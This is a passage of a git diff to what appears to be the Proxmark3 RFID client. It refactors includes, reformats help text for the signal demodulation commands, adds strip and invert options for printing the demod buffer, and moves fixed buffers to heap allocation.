+#include +#include +#include +#include + +#ifdef _WIN32 +# include +# include +# ifndef STDIN_FILENO +# define STDIN_FILENO 0 +# endif /* STDIN_FILENO */ +#endif /* _WIN32 */ + +#include "reveng/reveng.h" +#include "ui.h" +#include "util.h" + #define MAX_ARGS 20 static int split(char *str, char *arr[MAX_ARGS]) { @@ -72,6 +89,8 @@ int GetModels(char *Models[], int *count, uint8_t *width) { memcpy(tmp, model.name, size); Models[mode] = tmp; width[mode] = plen(model.spoly); + } else { + free(tmp); } } mfree(&model); @@ -248,7 +267,7 @@ int RunModel(char *inModel, char *inHexStr, bool reverse, char endian, char *res //set model c = mbynam(&model, inModel); if (!c) { - PrintAndLogEx(WARNING, "error: preset model '%s' not found. Use reveng -D to list presets. [%d]", inModel, c); + PrintAndLogEx(ERR, "error: preset model '%s' not found. Use reveng -D to list presets. [%d]", inModel, c); return 0; } if (c < 0) { diff --git a/client/cmdcrc.h b/client/cmdcrc.h index e45c004f5..957cd1eec 100644 --- a/client/cmdcrc.h +++ b/client/cmdcrc.h @@ -11,22 +11,7 @@ #ifndef CMDCRC_H__ #define CMDCRC_H__ -#ifdef _WIN32 -# include -# include -# ifndef STDIN_FILENO -# define STDIN_FILENO 0 -# endif /* STDIN_FILENO */ -#endif /* _WIN32 */ - -#include -#include -#include -#include -#include "cmdmain.h" -#include "reveng/reveng.h" -#include "ui.h" -#include "util.h" +#include "common.h" int CmdCrc(const char *Cmd); diff --git a/client/cmddata.c b/client/cmddata.c index d6a4e8e73..74c33da55 100644 --- a/client/cmddata.c +++ b/client/cmddata.c @@ -1,6 +1,8 @@ //----------------------------------------------------------------------------- // Copyright (C) 2010 iZsh // +// iceman 2019 +// // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of // the license. @@ -8,6 +10,22 @@ // Data and Graph commands //----------------------------------------------------------------------------- #include "cmddata.h" +#include +#include +#include // for CmdNorm INT_MIN && INT_MAX +#include // pow +#include // tolower +#include "commonutil.h" // ARRAYLEN +#include "cmdparser.h" // for command_t +#include "ui.h" // for show graph controls +#include "graph.h" // for graph data +#include "comms.h" +#include "lfdemod.h" // for demod code +#include "loclass/cipherutils.h" // for decimating samples in getsamples +#include "cmdlfem4x.h" // askem410xdecode +#include "fileutils.h" // searchFile +#include "mifare/ndef.h" +#include "cliparser/cliparser.h" uint8_t DemodBuffer[MAX_DEMOD_BUF_LEN]; size_t DemodBufferLen = 0; @@ -16,13 +34,44 @@ int g_DemodClock = 0; static int CmdHelp(const char *Cmd); +static int usage_data_save(void) { + PrintAndLogEx(NORMAL, "Save trace from graph window , i.e. the GraphBuffer"); + PrintAndLogEx(NORMAL, "This is a text file with number -127 to 127. With the option `w` you can save it as wave file"); + PrintAndLogEx(NORMAL, "Filename should be without file extension"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Usage: data save [h] [w] [f ]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " w save as wave format (.wav)"); + PrintAndLogEx(NORMAL, " f save file name"); + PrintAndLogEx(NORMAL, "Samples:"); + PrintAndLogEx(NORMAL, " data save f mytrace - save graphbuffer to file"); + PrintAndLogEx(NORMAL, " data save f mytrace w - save graphbuffer to wave file"); + return PM3_SUCCESS; +} +static int usage_data_scale(void) { + PrintAndLogEx(NORMAL, "Set cursor display scale."); + PrintAndLogEx(NORMAL, "Setting the scale makes the differential `dt` reading between the yellow and purple markers meaningful. "); + PrintAndLogEx(NORMAL, "once the scale is set, the differential reading between brackets is the time duration in seconds."); + PrintAndLogEx(NORMAL, "For example, if acquiring in 125kHz, use scale 125."); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Usage: data scale [h] "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " sets scale of carrier frequency expressed in kHz"); + PrintAndLogEx(NORMAL, "Samples:"); + PrintAndLogEx(NORMAL, " data scale 125 - if sampled in 125kHz"); + return PM3_SUCCESS; +} static int usage_data_printdemodbuf(void) { PrintAndLogEx(NORMAL, "Usage: data printdemodbuffer x o l "); PrintAndLogEx(NORMAL, "Options:"); - PrintAndLogEx(NORMAL, " h This help"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " i invert Demodbuffer before printing"); PrintAndLogEx(NORMAL, " x output in hex (omit for binary output)"); PrintAndLogEx(NORMAL, " o enter offset in # of bits"); PrintAndLogEx(NORMAL, " l enter length to print in # of bits or hex characters respectively"); + PrintAndLogEx(NORMAL, " s strip leading zeroes, i.e. set offset to first bit equal to one"); return PM3_SUCCESS; } static int usage_data_manrawdecode(void) { @@ -51,19 +100,26 @@ static int usage_data_biphaserawdecode(void) { } static int usage_data_rawdemod(void) { PrintAndLogEx(NORMAL, "Usage: data rawdemod [modulation] |"); - PrintAndLogEx(NORMAL, " [modulation] as 2 char, 'ab' for ask/biphase, 'am' for ask/manchester, 'ar' for ask/raw, 'fs' for fsk, ..."); - PrintAndLogEx(NORMAL, " 'nr' for nrz/direct, 'p1' for psk1, 'p2' for psk2"); + PrintAndLogEx(NORMAL, " [modulation] as 2 char,"); + PrintAndLogEx(NORMAL, " "_YELLOW_("ab")"- ask/biphase"); + PrintAndLogEx(NORMAL, " "_YELLOW_("am")"- ask/manchester"); + PrintAndLogEx(NORMAL, " "_YELLOW_("ar")"- ask/raw"); + PrintAndLogEx(NORMAL, " "_YELLOW_("fs")"- fsk"); + PrintAndLogEx(NORMAL, " "_YELLOW_("nr")"- nrz/direct"); + PrintAndLogEx(NORMAL, " "_YELLOW_("p1")"- psk1"); + PrintAndLogEx(NORMAL, " "_YELLOW_("p2")"- psk2"); PrintAndLogEx(NORMAL, " as 'h', prints the help for the specific modulation"); PrintAndLogEx(NORMAL, " see specific modulation help for optional parameters"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod fs h = print help specific to fsk demod"); - PrintAndLogEx(NORMAL, " : data rawdemod fs = demod GraphBuffer using: fsk - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod ab = demod GraphBuffer using: ask/biphase - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod am = demod GraphBuffer using: ask/manchester - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod ar = demod GraphBuffer using: ask/raw - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod nr = demod GraphBuffer using: nrz/direct - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod p1 = demod GraphBuffer using: psk1 - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod p2 = demod GraphBuffer using: psk2 - autodetect"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod fs h = print help specific to fsk demod"); + PrintAndLogEx(NORMAL, " data rawdemod fs = demod GraphBuffer using: fsk - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod ab = demod GraphBuffer using: ask/biphase - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod am = demod GraphBuffer using: ask/manchester - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod ar = demod GraphBuffer using: ask/raw - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod nr = demod GraphBuffer using: nrz/direct - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod p1 = demod GraphBuffer using: psk1 - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod p2 = demod GraphBuffer using: psk2 - autodetect"); return PM3_SUCCESS; } static int usage_data_rawdemod_am(void) { @@ -75,11 +131,12 @@ static int usage_data_rawdemod_am(void) { PrintAndLogEx(NORMAL, " [set maximum Samples to read], default = 32768 (512 bits at rf/64)"); PrintAndLogEx(NORMAL, " , 'a' to attempt demod with ask amplification, default = no amp"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod am = demod an ask/manchester tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod am 32 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod am 32 1 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32 and inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod am 1 = demod an ask/manchester tag from GraphBuffer while inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod am 64 1 0 = demod an ask/manchester tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod am = demod an ask/manchester tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod am 32 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod am 32 1 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod am 1 = demod an ask/manchester tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod am 64 1 0 = demod an ask/manchester tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); return PM3_SUCCESS; } static int usage_data_rawdemod_ab(void) { @@ -96,13 +153,14 @@ static int usage_data_rawdemod_ab(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, " NOTE: --invert for Conditional Dephase Encoding (CDP) AKA Differential Manchester"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod ab = demod an ask/biph tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 0 a = demod an ask/biph tag from GraphBuffer, amplified"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 1 32 = demod an ask/biph tag from GraphBuffer using an offset of 1 and a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 0 32 1 = demod an ask/biph tag from GraphBuffer using a clock of RF/32 and inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 0 1 = demod an ask/biph tag from GraphBuffer while inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 0 64 1 0 = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 0 64 1 0 0 a = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod ab = demod an ask/biph tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod ab 0 a = demod an ask/biph tag from GraphBuffer, amplified"); + PrintAndLogEx(NORMAL, " data rawdemod ab 1 32 = demod an ask/biph tag from GraphBuffer using an offset of 1 and a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod ab 0 32 1 = demod an ask/biph tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod ab 0 1 = demod an ask/biph tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod ab 0 64 1 0 = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, " data rawdemod ab 0 64 1 0 0 a = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp"); return PM3_SUCCESS; } static int usage_data_rawdemod_ar(void) { @@ -113,13 +171,14 @@ static int usage_data_rawdemod_ar(void) { PrintAndLogEx(NORMAL, " [set maximum Samples to read], default = 32768 (1024 bits at rf/64)"); PrintAndLogEx(NORMAL, " , 'a' to attempt demod with ask amplification, default = no amp"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod ar = demod an ask tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod ar a = demod an ask tag from GraphBuffer, amplified"); - PrintAndLogEx(NORMAL, " : data rawdemod ar 32 = demod an ask tag from GraphBuffer using a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod ar 32 1 = demod an ask tag from GraphBuffer using a clock of RF/32 and inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod ar 1 = demod an ask tag from GraphBuffer while inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod ar 64 1 0 = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); - PrintAndLogEx(NORMAL, " : data rawdemod ar 64 1 0 0 a = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod ar = demod an ask tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod ar a = demod an ask tag from GraphBuffer, amplified"); + PrintAndLogEx(NORMAL, " data rawdemod ar 32 = demod an ask tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod ar 32 1 = demod an ask tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod ar 1 = demod an ask tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod ar 64 1 0 = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, " data rawdemod ar 64 1 0 0 a = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp"); return PM3_SUCCESS; } static int usage_data_rawdemod_fs(void) { @@ -129,13 +188,14 @@ static int usage_data_rawdemod_fs(void) { PrintAndLogEx(NORMAL, " [fchigh], larger field clock length, omit for autodetect"); PrintAndLogEx(NORMAL, " [fclow], small field clock length, omit for autodetect"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod fs = demod an fsk tag from GraphBuffer using autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 32 = demod an fsk tag from GraphBuffer using a clock of RF/32, autodetect fc"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 1 = demod an fsk tag from GraphBuffer using autodetect, invert output"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 32 1 = demod an fsk tag from GraphBuffer using a clock of RF/32, invert output, autodetect fc"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 64 0 8 5 = demod an fsk1 RF/64 tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 50 0 10 8 = demod an fsk2 RF/50 tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 50 1 10 8 = demod an fsk2a RF/50 tag from GraphBuffer"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod fs = demod an fsk tag from GraphBuffer using autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod fs 32 = demod an fsk tag from GraphBuffer using a clock of RF/32, autodetect fc"); + PrintAndLogEx(NORMAL, " data rawdemod fs 1 = demod an fsk tag from GraphBuffer using autodetect, invert output"); + PrintAndLogEx(NORMAL, " data rawdemod fs 32 1 = demod an fsk tag from GraphBuffer using a clock of RF/32, invert output, autodetect fc"); + PrintAndLogEx(NORMAL, " data rawdemod fs 64 0 8 5 = demod an fsk1 RF/64 tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod fs 50 0 10 8 = demod an fsk2 RF/50 tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod fs 50 1 10 8 = demod an fsk2a RF/50 tag from GraphBuffer"); return PM3_SUCCESS; } static int usage_data_rawdemod_nr(void) { @@ -144,11 +204,12 @@ static int usage_data_rawdemod_nr(void) { PrintAndLogEx(NORMAL, " , 1 for invert output"); PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100."); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod nr = demod a nrz/direct tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod nr 32 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod nr 32 1 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32 and inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod nr 1 = demod a nrz/direct tag from GraphBuffer while inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod nr 64 1 0 = demod a nrz/direct tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod nr = demod a nrz/direct tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod nr 32 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod nr 32 1 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod nr 1 = demod a nrz/direct tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod nr 64 1 0 = demod a nrz/direct tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); return PM3_SUCCESS; } static int usage_data_rawdemod_p1(void) { @@ -157,11 +218,12 @@ static int usage_data_rawdemod_p1(void) { PrintAndLogEx(NORMAL, " , 1 for invert output"); PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100."); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod p1 = demod a psk1 tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod p1 32 = demod a psk1 tag from GraphBuffer using a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod p1 32 1 = demod a psk1 tag from GraphBuffer using a clock of RF/32 and inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod p1 1 = demod a psk1 tag from GraphBuffer while inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod p1 64 1 0 = demod a psk1 tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod p1 = demod a psk1 tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod p1 32 = demod a psk1 tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod p1 32 1 = demod a psk1 tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod p1 1 = demod a psk1 tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod p1 64 1 0 = demod a psk1 tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); return PM3_SUCCESS; } static int usage_data_rawdemod_p2(void) { @@ -170,11 +232,12 @@ static int usage_data_rawdemod_p2(void) { PrintAndLogEx(NORMAL, " , 1 for invert output"); PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100."); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod p2 = demod a psk2 tag from GraphBuffer, autodetect clock"); - PrintAndLogEx(NORMAL, " : data rawdemod p2 32 = demod a psk2 tag from GraphBuffer using a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod p2 32 1 = demod a psk2 tag from GraphBuffer using a clock of RF/32 and inverting output"); - PrintAndLogEx(NORMAL, " : data rawdemod p2 1 = demod a psk2 tag from GraphBuffer, autodetect clock and invert output"); - PrintAndLogEx(NORMAL, " : data rawdemod p2 64 1 0 = demod a psk2 tag from GraphBuffer using a clock of RF/64, inverting output and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod p2 = demod a psk2 tag from GraphBuffer, autodetect clock"); + PrintAndLogEx(NORMAL, " data rawdemod p2 32 = demod a psk2 tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod p2 32 1 = demod a psk2 tag from GraphBuffer using a clock of RF/32 and inverting output"); + PrintAndLogEx(NORMAL, " data rawdemod p2 1 = demod a psk2 tag from GraphBuffer, autodetect clock and invert output"); + PrintAndLogEx(NORMAL, " data rawdemod p2 64 1 0 = demod a psk2 tag from GraphBuffer using a clock of RF/64, inverting output and allowing 0 demod errors"); return PM3_SUCCESS; } static int usage_data_autocorr(void) { @@ -234,7 +297,6 @@ static int usage_data_fsktonrz() { return PM3_SUCCESS; } - //set the demod buffer with given array of binary (one bit per byte) //by marshmellow void setDemodBuff(uint8_t *buff, size_t size, size_t start_idx) { @@ -375,7 +437,7 @@ static int CmdSetDebugMode(const char *Cmd) { void printDemodBuff(void) { int len = DemodBufferLen; if (len < 1) { - PrintAndLogEx(NORMAL, "(printDemodBuff) no bits found in demod buffer"); + PrintAndLogEx(INFO, "(printDemodBuff) no bits found in demod buffer"); return; } if (len > 512) len = 512; @@ -386,6 +448,8 @@ void printDemodBuff(void) { int CmdPrintDemodBuff(const char *Cmd) { bool hexMode = false; bool errors = false; + bool lstrip = false; + bool invert = false; uint32_t offset = 0; uint32_t length = 512; char cmdp = 0; @@ -407,6 +471,14 @@ int CmdPrintDemodBuff(const char *Cmd) { if (!length) errors = true; cmdp += 2; break; + case 's': + lstrip = true; + cmdp++; + break; + case 'i': + invert = true; + cmdp++; + break; default: PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); errors = true; @@ -417,11 +489,32 @@ int CmdPrintDemodBuff(const char *Cmd) { if (errors) return usage_data_printdemodbuf(); if (DemodBufferLen == 0) { - PrintAndLogEx(NORMAL, "Demodbuffer is empty"); + PrintAndLogEx(WARNING, "Demodbuffer is empty"); return PM3_ESOFT; } + if (lstrip) { + char *buf = (char *)(DemodBuffer + offset); + length = (length > (DemodBufferLen - offset)) ? DemodBufferLen - offset : length; + uint32_t i; + for (i = 0; i < length; i++) { + if (buf[i] == 1) break; + } + offset += i; + } length = (length > (DemodBufferLen - offset)) ? DemodBufferLen - offset : length; + if (invert) { + char *buf = (char *)(DemodBuffer + offset); + for (uint32_t i = 0; i < length; i++) { + if (buf[i] == 1) + buf[i] = 0; + else { + if (buf[i] == 0) + buf[i] = 1; + } + } + } + if (hexMode) { char *buf = (char *)(DemodBuffer + offset); char hex[512] = {0x00}; @@ -429,9 +522,9 @@ int CmdPrintDemodBuff(const char *Cmd) { if (numBits == 0) { return PM3_ESOFT; } - PrintAndLogEx(NORMAL, "DemodBuffer: %s", hex); + PrintAndLogEx(SUCCESS, "DemodBuffer: %s", hex); } else { - PrintAndLogEx(NORMAL, "DemodBuffer:\n%s", sprint_bin_break(DemodBuffer + offset, length, 32)); + PrintAndLogEx(SUCCESS, "DemodBuffer:\n%s", sprint_bin_break(DemodBuffer + offset, length, 32)); } return PM3_SUCCESS; } @@ -446,7 +539,7 @@ int CmdGetBitStream(const char *Cmd) { RepaintGraphWindow(); return PM3_SUCCESS; } -int CmdConvertBitStream(const char *Cmd) { +static int CmdConvertBitStream(const char *Cmd) { if (isGraphBitstream()) { convertGraphFromBitstream(); @@ -470,7 +563,6 @@ int ASKDemod_ext(const char *Cmd, bool verbose, bool emSearch, uint8_t askType, size_t maxLen = 0; uint8_t askamp = 0; char amp = tolower(param_getchar(Cmd, 0)); - uint8_t bits[MAX_GRAPH_TRACE_LEN] = {0}; sscanf(Cmd, "%i %i %i %zu %c", &clk, &invert, &maxErr, &maxLen, &); @@ -485,12 +577,19 @@ int ASKDemod_ext(const char *Cmd, bool verbose, bool emSearch, uint8_t askType, invert = 1; clk = 0; } + uint8_t *bits = calloc(MAX_GRAPH_TRACE_LEN, sizeof(uint8_t)); + if (bits == NULL) { + return PM3_EMALLOC; + } size_t BitLen = getFromGraphBuf(bits); - PrintAndLogEx(DEBUG, "DEBUG: (ASKDemod_ext) #samples from graphbuff: %d", BitLen); + PrintAndLogEx(DEBUG, "DEBUG: (ASKDemod_ext) #samples from graphbuff: %zu", BitLen); - if (BitLen < 255) return PM3_ESOFT; + if (BitLen < 255) { + free(bits); + return PM3_ESOFT; + } if (maxLen < BitLen && maxLen != 0) BitLen = maxLen; @@ -523,16 +622,18 @@ int ASKDemod_ext(const char *Cmd, bool verbose, bool emSearch, uint8_t askType, int errCnt = askdemod_ext(bits, &BitLen, &clk, &invert, maxErr, askamp, askType, &startIdx); if (errCnt < 0 || BitLen < 16) { //if fatal error (or -1) - PrintAndLogEx(DEBUG, "DEBUG: (ASKDemod_ext) No data found errors:%d, invert:%c, bitlen:%d, clock:%d", errCnt, (invert) ? 'Y' : 'N', BitLen, clk); + PrintAndLogEx(DEBUG, "DEBUG: (ASKDemod_ext) No data found errors:%d, invert:%c, bitlen:%zu, clock:%d", errCnt, (invert) ? 'Y' : 'N', BitLen, clk); + free(bits); return PM3_ESOFT; } if (errCnt > maxErr) { - PrintAndLogEx(DEBUG, "DEBUG: (ASKDemod_ext) Too many errors found, errors:%d, bits:%d, clock:%d", errCnt, BitLen, clk); + PrintAndLogEx(DEBUG, "DEBUG: (ASKDemod_ext) Too many errors found, errors:%d, bits:%zu, clock:%d", errCnt, BitLen, clk); + free(bits); return PM3_ESOFT; } - if (verbose) PrintAndLogEx(DEBUG, "DEBUG: (ASKDemod_ext) Using clock:%d, invert:%d, bits found:%d, start index %d", clk, invert, BitLen, startIdx); + if (verbose) PrintAndLogEx(DEBUG, "DEBUG: (ASKDemod_ext) Using clock:%d, invert:%d, bits found:%zu, start index %d", clk, invert, BitLen, startIdx); //output setDemodBuff(bits, BitLen, 0); @@ -553,6 +654,7 @@ int ASKDemod_ext(const char *Cmd, bool verbose, bool emSearch, uint8_t askType, if (emSearch) AskEm410xDecode(true, &hi, &lo); + free(bits); return PM3_SUCCESS; } int ASKDemod(const char *Cmd, bool verbose, bool emSearch, uint8_t askType) { @@ -602,7 +704,7 @@ static int Cmdmandecoderaw(const char *Cmd) { } if (high > 7 || low < 0) { - PrintAndLogEx(WARNING, "Error: please raw demod the wave first then manchester raw decode"); + PrintAndLogEx(ERR, "Error: please raw demod the wave first then manchester raw decode"); return PM3_ESOFT; } @@ -611,7 +713,7 @@ static int Cmdmandecoderaw(const char *Cmd) { uint8_t alignPos = 0; errCnt = manrawdecode(bits, &size, invert, &alignPos); if (errCnt >= maxErr) { - PrintAndLogEx(WARNING, "Too many errors: %u", errCnt); + PrintAndLogEx(ERR, "Too many errors: %u", errCnt); return PM3_ESOFT; } @@ -658,11 +760,11 @@ static int CmdBiphaseDecodeRaw(const char *Cmd) { errCnt = BiphaseRawDecode(bits, &size, &offset, invert); if (errCnt < 0) { - PrintAndLogEx(WARNING, "Error during decode:%d", errCnt); + PrintAndLogEx(ERR, "Error during decode:%d", errCnt); return PM3_ESOFT; } if (errCnt > maxErr) { - PrintAndLogEx(WARNING, "Too many errors attempting to decode: %d", errCnt); + PrintAndLogEx(ERR, "Too many errors attempting to decode: %d", errCnt); return PM3_ESOFT; } @@ -741,7 +843,7 @@ int AutoCorrelate(const int *in, int *out, size_t len, size_t window, bool SaveG // sanity check if (window > len) window = len; - if (verbose) PrintAndLogEx(INFO, "performing " _YELLOW_("%d")" correlations", GraphTraceLen - window); + if (verbose) PrintAndLogEx(INFO, "performing " _YELLOW_("%zu") "correlations", GraphTraceLen - window); //test double autocv = 0.0; // Autocovariance value @@ -753,7 +855,7 @@ int AutoCorrelate(const int *in, int *out, size_t len, size_t window, bool SaveG // Computed variance double variance = compute_variance(in, len); - static int CorrelBuffer[MAX_GRAPH_TRACE_LEN]; + int *correl_buf = calloc(MAX_GRAPH_TRACE_LEN, sizeof(int)); for (size_t i = 0; i < len - window; ++i) { @@ -762,7 +864,7 @@ int AutoCorrelate(const int *in, int *out, size_t len, size_t window, bool SaveG } autocv = (1.0 / (len - i)) * autocv; - CorrelBuffer[i] = autocv; + correl_buf[i] = autocv; // Computed autocorrelation value to be returned // Autocorrelation is autocovariance divided by variance @@ -779,15 +881,15 @@ int AutoCorrelate(const int *in, int *out, size_t len, size_t window, bool SaveG int hi = 0, idx = 0; int distance = 0, hi_1 = 0, idx_1 = 0; for (size_t i = 0; i <= len; ++i) { - if (CorrelBuffer[i] > hi) { - hi = CorrelBuffer[i]; + if (correl_buf[i] > hi) { + hi = correl_buf[i]; idx = i; } } for (size_t i = idx + 1; i <= window; ++i) { - if (CorrelBuffer[i] > hi_1) { - hi_1 = CorrelBuffer[i]; + if (correl_buf[i] > hi_1) { + hi_1 = correl_buf[i]; idx_1 = i; } } @@ -797,9 +899,9 @@ int AutoCorrelate(const int *in, int *out, size_t len, size_t window, bool SaveG if (verbose && foo < bar) { distance = idx_1 - idx; - PrintAndLogEx(SUCCESS, "possible 4% visible correlation %4d samples", distance); + PrintAndLogEx(SUCCESS, "possible visible correlation "_YELLOW_("%4d") "samples", distance); } else if (verbose && (correlation > 1)) { - PrintAndLogEx(SUCCESS, "possible correlation %4d samples", correlation); + PrintAndLogEx(SUCCESS, "possible correlation " _YELLOW_("%4zu") "samples", correlation); } else { PrintAndLogEx(FAILED, "no repeating pattern found, try increasing window size"); } @@ -807,7 +909,7 @@ int AutoCorrelate(const int *in, int *out, size_t len, size_t window, bool SaveG int retval = correlation; if (SaveGrph) { //GraphTraceLen = GraphTraceLen - window; - memcpy(out, CorrelBuffer, len * sizeof(int)); + memcpy(out, correl_buf, len * sizeof(int)); if (distance > 0) { setClockGrid(distance, idx); retval = distance; @@ -819,7 +921,7 @@ int AutoCorrelate(const int *in, int *out, size_t len, size_t window, bool SaveG DemodBufferLen = 0; RepaintGraphWindow(); } - + free(correl_buf); return retval; } @@ -841,7 +943,7 @@ static int CmdAutoCorr(const char *Cmd) { case 'w': window = param_get32ex(Cmd, cmdp + 1, 